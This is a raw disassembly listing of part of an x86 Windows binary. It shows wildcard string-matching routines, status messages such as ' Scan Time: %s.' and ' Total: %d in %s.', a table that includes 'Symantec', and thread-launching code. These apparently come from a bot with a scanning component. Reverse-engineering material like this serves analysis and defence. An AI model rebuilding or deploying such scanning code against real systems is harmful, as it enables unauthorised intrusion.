		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2E42E7E8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		call	near ptr 268050Ah
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	near ptr 2690C56h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 268050Ah
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		call	near ptr 268050Ah
		nop
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 2690496h
		nop
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		call	near ptr 2690C56h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
